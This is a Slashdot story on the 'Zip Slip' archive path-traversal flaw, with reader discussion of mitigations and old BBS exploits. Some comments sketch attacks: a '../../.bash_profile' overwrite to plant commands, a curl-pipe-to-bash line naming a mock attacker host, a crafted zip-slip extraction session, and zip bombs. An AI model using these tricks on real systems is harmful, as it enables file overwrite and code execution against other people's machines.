Zip Slip Vulnerability Affects Thousands of Projects (theregister.co.uk) 127
Yhcrana writes: Considering the video in the story makes it pretty simple, this is not something I would like to have happen. Apparently it is a flaw in the libraries that are being used by Oracle, Apache, and others. The Register reports: "Booby-trapped archive files can exploit vulnerabilities in a swath of software to overwrite documents and data elsewhere on a computer's file system -- and potentially execute malicious code. Specifically, the flaws, dubbed "Zip Slip" by its discoverers at security outfit Snyk, is a path traversal flaw that can potentially be exploited to perform arbitrary code execution attacks. It affects .zip, .bz2, .tar, .xz, .war, .cpio, and .7z archives.
The bugs, according to Snyk, lie in code that unpacks compressed archives, hence the "Zip Slip" title. When software does not properly check and sanitize file names within the archive, attackers can set the destination path for an unpacked file to an existing folder or file elsewhere on a system. When that file is extracted, it will overwrite the existing data in that same path."
The bugs, according to Snyk, lie in code that unpacks compressed archives, hence the "Zip Slip" title. When software does not properly check and sanitize file names within the archive, attackers can set the destination path for an unpacked file to an existing folder or file elsewhere on a system. When that file is extracted, it will overwrite the existing data in that same path."
Holy Moly! This is some seriously creepy sh*t! (Score:2)
I'm no security expert and even I get the attack after reading it *once*. Imagine injecting alternative userland components into the OS this way. That no one has thought of this yet along with the Spectre and Meltdown shit that has been going on lately makes me wonder what types of trivial exploits we haven't discovered yet.
Creepy as fuck, that's for sure.
Gladly the fix is easy: Default exit before override with an appropriate message. No overriding by unpacking whatsoever. Shouldn't take the devs long to i
Re: (Score:3, Insightful)
You can't overwrite the userland unless you are root/admin. If you are and you are downloading and extracting random archives before even listing their contents you deserve to have your userland replaced.
What's next in the security news? `curl https://not-an-exploit.ru/script.sh | bash` being dangerous as root?
Re: (Score:1)
Posting as AC since I already modded.
THIS! I don't understand how this is a security flaw. The program works as intended (pretty much). You're unzipping an archive that may overwrite any part of your system. If you don't trust the site you downloaded it from, do it as a user other than root. Hell, do it as another user and then switch to root to do the installation and everything. That's the standard practice.
Re: (Score:2)
"if you don't trust the source" - as if reputable repositories have never been compromised.
Re: (Score:2)
The default should be that it only unzips under the extraction target path. Optionally, you can preserve destinations outside of that path - with an argument. The default security should be essentially the same as a chroot.
Re: (Score:2)
The target is provided as an argument to the software (or graphically in the GUI). An absolute path appended to a relative path is just deeper down.
However, this appears to just use a few "../" in the filenames, which is something that I absolutely would have assumed to be accounted for. What's more worthy of an article is that major software packages don't sanitize this or check the resulting destination against the base path.
User land == not kernel (Score:5, Insightful)
User land is everything that's not the kernel.
All of your personal files? User land.
I take it you mean:
Most of the time, you can't overwrite important system files unless:
1. You're in the administrator group on Windows
2. You are root on Linux, using a whitelisted program to alter a whitelisted file in a specifically allowed way
3. You're root and using a 1993 version of Linux
4. The last time you looked at SELinux was 15 years ago. 15 years ago, it was inconvenient to use, so you've been turning it off ever since.
Re: (Score:2)
Re: (Score:2)
Re: User land == not kernel (Score:2)
Re: User land == not kernel (Score:1)
Re: User land == not kernel (Score:2)
So many people post without having any creativity... Here's a helpful example:
Unzip to ../../.bash_profile knowing that this is run in $HOME/.programrc/modules/
Include "sudo runstuff" in new file
Profit
Depends (Score:2)
- Lots of Linux daemons are designed to drop root privileges and switch to another UID/GID as soon as possible.
- Some are designed to coordinate with other tools (such as systemd or formelly inetd) that handle root-level actions themselves (like grabbig a low number port and hand an already opened socket), so starting a serivce though those doesn't even require root access to the daemon.
So as long as a the daemon are well designed and follow such good practices, they won't ever run as root.
Of cour
Re: Depends (Score:2)
If that daemon is is - say - a PHP server with access to your data, then the fact that the problem is "isolated" to the PHP instance is not very helpful.
Docker - as it is usually recommended for setup - is not a good fit for production for this reason. It'r possible to make Docker secure, but it's so much work it's usually easier to just not use Docker in production.
Re: (Score:1)
I call bullshit on your being a "security professional".
Unless you're doing something unaudited as an Admin...how would you "overwrite" parts of the OS?
Oh...wait...YOU...CANNOT. Sorry...this is some puffery from a wannabe security services firm and you...you are either a shill or an idiot. So...which is it?
Re: (Score:1)
I call bullshit on your being a "security professional".
What he means is that he's an Oracle admin.
Re: (Score:1)
I'd guess he's a better at computer security than you are at reading and comprehension.
I'm no security expert and even I get the attack after reading it *once*.
You are the only one claiming GP is a "security professsional".
Re:Holy Moly! This is some seriously creepy sh*t! (Score:5, Insightful)
Or you could simply not decompress archives as root?
Re: (Score:2)
Shhh! They've already thought up the brand name for this hack and if you ruin it for them it will risk sabotaging their upcoming IPO!
Re: (Score:2)
IPO, not ICO? What good are they, then?
Re: (Score:1)
Or, test it, zip in linux and tar both trap the attack vector. Its only some crappy librarys that are affected. /.'s filter otherwise.
output edited for path's, since it breaks
root@testbox:/home/luser# unzip zip-slip.zip ../../tmp/evil.txt
Archive: zip-slip.zip
extracting: good.txt
warning: skipped "../" path component(s) in
extracting: tmp/evil.txt
root@testbox:/home/luser# ls /home/luser/tmp/evil.txt
root@testbox:/home/luser# tar -xvf zip-slip.tar
good.txt
tar: Removing leading '../' from member
Re: (Score:2)
Or, test it, zip in linux and tar both trap the attack vector. Its only some crappy librarys that are affected. /.'s filter otherwise.
output edited for path's, since it breaks
This. The libraries that are affected total some thousands, not all projects that use the os tools.
This is another good reason to use containers/micro services for random bits of software. Compartmentalise things, particularly when dealing with untrusted, dirty uploads.
Re:Holy Moly! This is some seriously creepy sh*t! (Score:5, Informative)
Re: (Score:2)
Thank you! Yeah, I remember this back in the BBS days. Some boards would unzip uploaded archives to scan them for viruses or duplicate files, and so they were vulnerable to zip-bombs.
Various strategies could render the attacks moot; I think the common one was to initially run pkunzip to only list the contents of the zip without actually unzipping anything. If none of the known attacks seemed to be present, the file could then be unzipped and its contents scanned as usual. There were other mitigations, like
Re: (Score:1)
Re: (Score:1)
If you record the raw sound of a fart you can tarball it but manually set the path to /dev/dsp. Then get people to extract it for the fartball exploit. This was one of may favourite tricks in highschool.
I remember this from a quarter century ago (Score:5, Interesting)
I used this to hack a WWIV based BBS system around 25 years ago. Heard about it from somewhere. What you did was place a file with a "..\..\" path into the archive and upload it to the BBS files section. The board would automatically unpack it on upload, or maybe you had to invoke a "download a file from inside a zip" feature on it, my memory is hazy on that. But it would unpack the zip, it would overwrite a executable that was part of the BBS software, and then when it ran that your trojan would run.
Isn't a press release about this kind of like a press release about the concept of buffer overflow exploits?
Re: (Score:2)
No, that's Windows Resource Protection [microsoft.com]. Windows Defender might show a notice, but you don't have to use it to prevent this at the OS level.
Re: (Score:2)
Re: (Score:2)
I know of something similar which happened to a few local BBS's where I lived but the vulnerability was a little different (they ran on Amiga's). Basically, after uploading a file, it would try and extract the file_id.diz file to use to create the file description from. By default, the software just specified the name of the archiver (LHa, LZX, arj, zip etc) and so the software would default to the current working directory which was where the file was saved to. All you had to do was name the file you uploa
Re: (Score:2)
Man that brings back memories. I ran a "fast" /X (AmiExpress) board back in those days. There used to be some hacker crews that would extort sysops - basically, "pay us protection fee or your BBS could be hacked/formatted next." And I remember wondering years later when ransomware first hit, if any of the authors were from those old hacker crews.
Re: (Score:2)
Another trick from the dial-up BBS times was to insert a file named "com1:" in the zip archive. When the file was uploaded, the BBS software would unzip the file in order to run a virus scan on the contents before accepting it. The contents of the "com1:" file would then get sent to the modem on com1:.
The contents were Hayes modem commands that hung up, and then sent DTMF codes to the phone company to redirect the phone number to another number, which happened to be on the other side of the Atlantic. At tha
Re: (Score:2)
This is what happens when you don't properly sanitize file names.
The other classic one was to use an ASCII 255 character as a space on DOS. College had a Netware network that ran on top of DOS, and we found we could create files and directories that the admins couldn't delete simply by adding an alt-255 character to the file name, usually at the end so it wasn't obvious. Their file management tools helpfully filtered it out so couldn't delete it either.
Did this with tar files (Score:2)
Back in the 1990s, it was trivial to compromise a machine by having a tar file with absolute paths in it, so /etc/shadow got overwritten when the admin decided to untar a "sendmail patch" that he or she was given.
That attack is still valid today. Untar a file as root, there might be a good chance that an absolute path may be in that file.
VERY OLD issue (Score:1)
I remember this same thing with PKZIP in the BBS days.
What's old is new again I guess.
Re:archive vs compressor (Score:4, Informative)
GNU tar rejects '..' path parts automatically, as does FreeBSD's tar. Does anybody actually still use cpio, other than for extracting the guts of really old OS X installer packages (pre-xar)?
Either way, I can't quite decide who to blame:
In any case, I don't allow any .Net or Java code anywhere near my computers, so I don't care even slightly. All the C implementations have been secure for decades.
Re: (Score:1)
Look, neither rpm, not dpkg (.deb) are vulnerable to this kind of crap [nowadays], precisely because path transversal is as old as /tmp races. They might have been, once, but it has long been found and fixed.
libarchive is one pit of these kind of idiotic security holes, though, but even there it has been fixed (likely several times, it is that bad :p).
Re: (Score:2)
Re: (Score:2)
Ok, to be fair I'm pretty sure that tar was never fixed and GNU tar was fixed less than a decade ago, but your point still stands as essentially valid.
Re:archive vs compressor (Score:5, Informative)
Holy crap! I just looked at GNU tar's version history. The docs have said that it skips ".." members since IIRC the late 1990s, but apparently it never actually worked, and they just fixed it in 2016!
*redacted swearing*
Vulnerability? (Score:5, Interesting)
I thought this was standard, expected behavior for archive files?
Unzip software is supposed to give a prompt that a file is going to be overwritten, to mitigate that.
Re: (Score:2)
In Unix, tar does not allow leading "/" or "../" in paths unless over-ridden with the "--absolute-names" option.
Is Zip not the same? Seems kind of obvious, but apparently some library writers forgot.
I'd have thought rather than just looking for such characters in a pathname, the restriction would be enforced by a chroot or other mechanism. No?
Re: (Score:3)
Re: (Score:2)
> In Unix, tar does not allow leading "/" or "../" in paths. Is Zip not the same?
Don't forget that if tar only disallowed leading / and ../ then it would still be insecure, as you could do "newfolder/../../../../etc/" and so on.
Re: (Score:2)
Well that would be silly. Try re-parsing that sentence in a way than makes more sense. Sorry for the ambiguity.
Have some parentheses:
> In Unix, tar does not allow (leading "/") or ("../" in paths) .
Re: (Score:2)
As pointed out in another thread, the blocking of ../ didn't work and was only very recently (in terms of tar's life) was fixed. tar was vulnerable to this for a good 25 years.
Re: (Score:2)
Re: (Score:1)
Because people skilled enough to use command line tar are skilled enough to do a tar tf first. After having a tarball extract a bunch of junk in your current directory once, every *nix admin learns quickly to do a tar tf first to see if you need to do a mkdir then cd to the new dir before extracting it.
Re: (Score:2)
How come nobody noticed ?
Do you routinely maliciously attack yourself? Firstly history is full of examples of big gaping security holes that have somehow been present since the early days of the PC, even in open source software. Secondly what's the use case that would generally expose this flaw to get it noticed? And finally, how big is the risk given that you need to ultimately grant permission for someone to use that software using your current user permissions in order to be exposed to a threat, a risk quite low and thus even if
Re: (Score:2)
The new way to break into the "security research" market is to brand and report on entry-level system administration pitfalls in an alarmist fashion.
Re: (Score:1)
Re: (Score:2)
While in theory it's fine, in practice two things tend to happen.
1. The user doesn't pay attention and if asked answers "yes, overwrite all" because that's what humans are like.
2. Automated extraction as part of installers and the like often overwrites everything to ensure re-installs work properly.
This is why (Score:2)
I never unzip a file to any place other than an empty directory on my desktop. All the files go in one spot, no overwriting of anything. From there I do what I need.
Doesn't matter what it is. If it needs to be unzipped, it goes to an empty spot.
Re: (Score:2)
Re: (Score:2)
Only if one unpacks the archive as user root. If I am logged in as some typical user, it's not likely that I have write permission anywhere under /etc. The unpacking process will generate an error and odds are that I'd catch it.
Re: (Score:2)
I highly doubt you maintain a separate account for downloading things from the web.
Why not? Extra user accounts are free on Linux. Do you really think I do my on-line banking in the same user space that I shit-post Slashdot with?
I send and receive e-mail from separate machines. The receive system can't send e-mail and the sending machines can only pop a copy off the receiver.
Re: (Score:2)
I never unzip a file to any place other than an empty directory on my desktop. All the files go in one spot, no overwriting of anything. From there I do what I need.
Doesn't matter what it is. If it needs to be unzipped, it goes to an empty spot.
The whole idea of this vulnerability is that some tools don't restrict themselves to the folder that you specify, but put files elsewhere - no matter where you say you want your files to go.
Slow Clap (Score:1)
That's how it works. (Score:2)
At first glace I thought this was a joke. This 'overwriting of existing files' is how Zip, tar, Arch, 7zip and really any archive works.
The problem is real but is at a higher level. It is a classic lack of validating user input. Usually filtering out relative path names is enough (the path foo/bar/../../../../../../../etc/rhosts is not a valid location.). Combined with bad operational practices your application is overwriting /etc/passwd and /etc/shadow while processing my_little_brony_avatar.zip.
Us
Re: (Score:2)
Re: (Score:2)
I thought that most programming/scripting languages/APIs had unescape() or decode() sorts of functions for handling just this type of issue...?
Another lose for Ambient Authority (Score:2)
Ambient Authority, the design flaw underlying most "modern" operating systems, strikes again.
So.. am I the only one? (Score:2)
When I am manually un-archiving files, I *always* list out the contents first before actually un-archiving. (tar -tzvf, unzip -l, etc.) And I scan the output for anything that doesn't look right. The main reason I do this is because I have been burned before by assuming the archiver put all the files in a directory instead of just dumping them wherever the archive is located.... then I had to spend time to delete those files by hand to clean things up. But also because I just want to see it before just
Bigger than just archives (Score:3)
Holy cats, guys! I've found that this same security hole exists in 'mv'!
How many programs are affected by this?!!?
P.S. Anyone know how to undelete a file? Plz let me know before Friday!
Check for the other one! (Score:3)
There are two great holes in archive formats, traditionally. This is one.
The other is the 'zipbomb.' An exabyte of file consisting of nothing but 0x00 bytes, all nicely packed down to practically nothing by the compression algorithm. If precautions are not taken, guaranteed to crash your target be exhausting either memory or disk space.
Re: (Score:1)
Don't you have an election somewhere that you're supposed to be fixing?